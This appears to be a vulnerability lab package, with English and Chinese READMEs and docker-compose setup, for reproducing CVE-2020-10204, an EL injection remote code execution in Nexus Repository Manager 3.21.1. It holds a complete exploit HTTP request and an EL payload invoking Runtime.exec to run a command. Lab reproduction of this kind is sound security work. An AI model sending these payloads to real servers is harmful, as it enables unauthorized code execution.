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# Nexus Repository Manager 3 Authenticated Remote Code Execution (CVE-2020-10204)
[中文版本(Chinese version)](README.zh-cn.md)
Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.
In the version <= 3.21.1, a EL injection vulnerability has been discovered that allows for an attacker with an administrative account on Nexus Repository to execute arbitrary code by crafting a malicious request to Nexus Repository. This issue is patch bypass of CVE-2018-16621.
References:
- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
- https://github.com/jas502n/CVE-2020-10199
## Vulnerable environment
Execute following command to start a Nexus Repository Manager version 3.21.1:
```
docker compose up -d
```
After the server is started, browse `http://your-ip:8081` to see the home page of Nexus. Login the admin panel with administrator account `admin:admin` and finish the initialize wizard.
## Exploit
Copy your cookie and CSRF token then send following request:
```
POST /service/extdirect HTTP/1.1
Host: your-ip
Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: [csrf-token]
Content-Type: application/json
Accept: */*
Origin: http://192.168.1.3:8081
Referer: http://192.168.1.3:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[sessionid]
Connection: close
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
```
As you can see, EL expression `233*233` is executed:
![](1.png)
Refer to <https://github.com/jas502n/CVE-2020-10199>, use EL expression payload `$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}` to execute command `touch /tmp/success`:
![](2.png)

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# Nexus Repository Manager 3 远程命令执行漏洞CVE-2020-10204
Nexus Repository Manager 3 是一款软件仓库可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中存在一处任意EL表达式注入漏洞具有管理员权限的攻击者可以在目标服务器上执行任意命令。这个漏洞是CVE-2018-16621的绕过。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
## 漏洞环境
执行如下命令启动Nexus Repository Manager 3.21.1
```
docker compose up -d
```
等待一段时间环境才能成功启动,访问`http://your-ip:8081`即可看到Web页面。
该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码`admin:admin`登录后台。
## 漏洞复现
登录后台后复制当前Cookie和CSRF Token发送如下数据包即可执行EL表达式
```
POST /service/extdirect HTTP/1.1
Host: your-ip
Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: [csrf-token]
Content-Type: application/json
Accept: */*
Origin: http://192.168.1.3:8081
Referer: http://192.168.1.3:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[session-id]
Connection: close
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
```
![](1.png)
参考<https://github.com/jas502n/CVE-2020-10199>,使用表达式`$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}`即可成功执行任意命令:
![](2.png)

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admin

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version: '3'
services:
web:
image: vulhub/nexus:3.21.1
ports:
- "8081:8081"
- "5005:5005"
volumes:
- ./admin.password:/nexus-data/admin.password